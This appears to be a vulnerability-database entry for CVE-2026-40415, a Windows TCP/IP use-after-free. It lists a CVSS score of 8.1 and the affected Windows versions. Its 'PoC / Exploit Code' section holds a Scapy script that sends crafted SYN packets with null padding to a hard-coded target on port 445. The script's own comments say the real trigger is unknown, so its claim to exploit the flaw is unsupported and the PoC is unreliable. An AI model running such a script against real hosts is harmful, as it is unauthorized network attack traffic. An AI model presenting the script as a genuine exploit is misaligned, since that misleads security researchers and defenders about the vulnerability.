Use after free in Windows TCP/IP allows an unauthorized attacker to execute code over a network.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Windows 10
Windows 11
Windows Server 2019
Windows Server 2022
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for CVE-2026-40415
# Demonstrates sending a crafted packet to potentially trigger the UAF
# Requires Scapy: pip install scapy
from scapy.all import *
# Target IP configuration
target_ip = "192.168.1.100"
# Constructing a malicious TCP/IP packet structure
# The specific payload would depend on the exact vulnerability trigger
# which typically involves specific flags or malformed options.
malicious_packet = IP(dst=target_ip) / TCP(
sport=RandShort(),
dport=445, # Common SMB port, often used as vector, adjust as needed
flags="S", # SYN packet
seq=12345,
options=[('MSS', 1460), ('NOP', None), ('WScale', 7)]
) / Raw(load=b"\x00" * 100) # Padding to manipulate heap layout
print(f"[*] Sending crafted packet to {target_ip}...")
# In a real exploit, timing and packet sequence are crucial
# This loop simulates sending packets to trigger race condition
for i in range(10):
send(malicious_packet, verbose=0)
print("[*] PoC execution completed.")